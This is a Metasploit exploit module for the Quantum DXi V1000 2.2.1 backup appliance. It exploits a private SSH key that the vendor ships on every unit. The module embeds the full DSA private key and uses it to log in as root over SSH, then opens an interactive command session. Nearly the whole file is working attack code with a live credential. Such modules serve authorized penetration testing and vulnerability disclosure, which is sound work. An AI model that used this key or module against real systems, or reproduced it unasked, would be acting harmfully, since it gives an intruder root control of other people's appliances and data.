##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Quantum DXi V1000 SSH Private Key Exposure',
          'Description' => %q{
            Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that
            allows passwordless authentication to any other DXi box. Since the key is
            easily retrievable, an attacker can use it to gain unauthorized remote
            access as root.
          },
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Privileged' => true,
          'Targets' => [ [ 'Universal', {} ] ],
          'Payload' => {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
          'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
          'License' => MSF_LICENSE,
          'References' => [
            ['PACKETSTORM', '125755'],
            ['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH]
          ],
          'DisclosureDate' => '2014-03-17',
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => []
          }
        }
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user)
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: [ key_data ]
    })

    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      return nil
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return nil
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return nil
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
      return nil
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return nil
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)
      ssh_socket = nil

      return conn
    else
      return nil
    end
  end

  def exploit
    conn = do_login('root')
    if conn
      print_good "#{rhost}:#{rport} - Successful login"
      handler(conn.lsock)
    end
  end

  def key_data
    <<~EOF
      -----BEGIN DSA PRIVATE KEY-----
      MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2
      hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t
      Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2
      +o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4
      6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5
      PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr
      E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK
      6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn
      k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u
      B3Upsx556K/iZPPnJZE=
      -----END DSA PRIVATE KEY-----
    EOF
  end
end
